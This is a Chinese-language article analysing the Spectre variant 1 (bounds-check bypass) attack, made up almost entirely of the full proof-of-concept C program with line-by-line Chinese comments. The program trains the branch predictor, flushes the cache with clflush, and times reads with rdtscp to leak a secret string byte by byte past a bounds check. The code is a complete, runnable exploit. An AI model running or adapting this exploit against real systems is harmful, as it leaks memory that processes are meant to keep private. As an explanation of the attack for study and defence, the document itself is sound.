浅谈处理器级Spectre Attack及Poc分析

if(x < array1_size)
	y = array2[array1[x] * 256]

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#ifdef _MSC_VER     /*根据处理器架构（x86或者x64）来使用对应的宏包含的库 */

#include <intrin.h> /* flush缓存库，主要用来调用_mm_clflush（刷新缓存）和__rdtscp函数 */

#pragma optimize("gt",on)

#else

#include <x86intrin.h> /* for rdtscp and clflush */

#endif


/********************************************************************

 Victim code.

********************************************************************/

 unsigned int array1_size = 16;
 uint8_t unused1[64];
 uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; /* 初始化array1数组，并至初始化数组前16个值，申请了160个int地址空间 */
 uint8_t unused2[64];
 uint8_t array2[256 * 512];

 char *secret = "The Magic Words are Squeamish Ossifrage."; /* 设置密文字符串，存储在cpu内存中 */

 uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

/* 根据前文分析的危险函数，此处x虽然设置了array1的上界检查，但是仍然可以通过cpu的乱序执行和分支预测执行内
存不可访问区的越界访问，temp表示读取array2的byte值到缓存中 */
 void victim_function(size_t x) {
 	if (x < array1_size) {
 		temp &= array2[array1[x] * 512];
 	}
 }


 /********************************************************************
 Analysis code
 ********************************************************************/
 #define CACHE_HIT_THRESHOLD (80) /* 缓存命中阀值，如果请求时间小于这个阀值，则意味着缓存命中。*/

 /* Report best guess in value[0] and runner-up in value[1] */
 /* 计算输出命中缓存最有可能的value值以及排第二的value */
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
 	static int results[256];
 	int tries, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
 	register uint64_t time1, time2;
 	volatile uint8_t *addr;

 	for (i = 0; i < 256; i++)
 	results[i] = 0;
 	/* 用大循环“训练”CPU的分支预测，让CPU微结构认为下次也应该走向读取内存这一分支。 */
 	for (tries = 999; tries > 0; tries--) {
 	/* Flush array2[256*(0..255)] from cache */
 	for (i = 0; i < 256; i++) /* 清除array2数组的缓存 */
 	_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ /* 使用_mm_clflush方法清除array2在cache中的缓存 */

 	/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
 	training_x = tries % array1_size; /* 对应array1 x的合法访问位置。 */
 	for(j = 29; j >= 0; j--) {
 	_mm_clflush(&array1_size);
 	for(volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

    /* 如果j%6!=0 x=training_x 反之x=malicious_x */
 	/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
 	/* Avoid jumps in case those tip off the branch predictor */
 	x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
 	x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
 	x = training_x ^ (x & (malicious_x ^ training_x));

 	/* Call the victim! */
 	victim_function(x); /* 最终调用非法读取缓存函数 */

 }

 	/* Time reads. Order is lightly mixed up to prevent stride prediction */
    /* 这个循环判断array2缓存地址的访问时间，如果小于阀值，说明array2对应byte的位置已经缓存 */
 	for (i = 0; i < 256; i++) {
 		mix_i = ((i * 167) + 13) & 255; /* 这里我理解是，在循环中，让mix_i在0～255之间随机分布，mix_i用来返回字符ascii值 */
 		addr = &array2[mix_i * 512]; /* 取array2对应的地址，刚刚temp缓存过 */
 		time1 = __rdtscp(&junk); /* READ TIMER */ /* 获取上一个array2读取地址读取的时间 */
 		junk = *addr; /* MEMORY ACCESS TO TIME */ /* 获取array2内存中对应的地址值 */
 		time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ /* 计算时间差（过去的时间）*/
 		if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) /* 如果读取单个byte cache缓存的时间
 		小于阀值且访问的位置mix_i属于字符串数组界限以外，没有缓存的话redscp读的差不多是一个不变定值，有缓存的话会有大小改变，所以这里以
 		前后访问缓存页面的时间差判断没有问题。 */
 			results[mix_i]++; /* cache hit - add +1 to score for this value */
 		}
	/* Locate highest & second-highest results results tallies in j/k */
 	/* 通过循环确定最有可能和第二可能字符的ascii码值k，j */
 	j = k = -1;
 	for (i = 0; i < 256; i++) {
 		if (j < 0 || results[i] >= results[j]) {
 			k = j;
 			j = i;
 		} else if (k < 0 || results[i] >= results[k]) {
 			k = i;
 		}
 	}
 	if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
 	break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
 }
 	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
 	value[0] = (uint8_t)j;
 	score[0] = results[j];
 	value[1] = (uint8_t)k;
 	score[1] = results[k];
 }

int main(int argc, const char **argv) {
        size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
		/* 注意，malicious_x实际上是指内存中的secret指针对应字符串地址相对于array1 byte数组的偏移值。*/
        int i, score[2], len=40; /* len对应于secret字符串长度，表示需要猜解泄露信息的长度， score数组存放猜解字符的可信度。*/
        uint8_t value[2]; /* value数组存放最终的猜测结果 */
        for (i = 0; i < sizeof(array2); i++)
                array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ /* 初始化array2到内存 */
        if (argc == 3) {
                sscanf(argv[1], "%p", (void**)(&malicious_x));
                malicious_x -= (size_t)array1; /* Convert input value into a pointer */
                sscanf(argv[2], "%d", &len);
        }

        printf("Reading %d bytes:\n", len);
        while (--len >= 0) {
                printf("Reading at malicious_x = %p... ", (void*)malicious_x);
                readMemoryByte(malicious_x++, value, score);
                printf("%s: ", (score[0] >= 2*score[1]?"Success":"Unclear"));
                /* 打印value[0]中整型值对应的ascii可显示的字符（ascii可见范围为31～127）*/
                printf("0x%02X=’%c’ score=%d  ", value[0],(value[0] > 31 && value[0] < 127?value[0]:'?'),score[0]);
                if (score[1] > 0)
         			printf("(second best: 0x%02X score=%d)", value[1], score[1]);
                printf("\n");
        }
        return (0);
}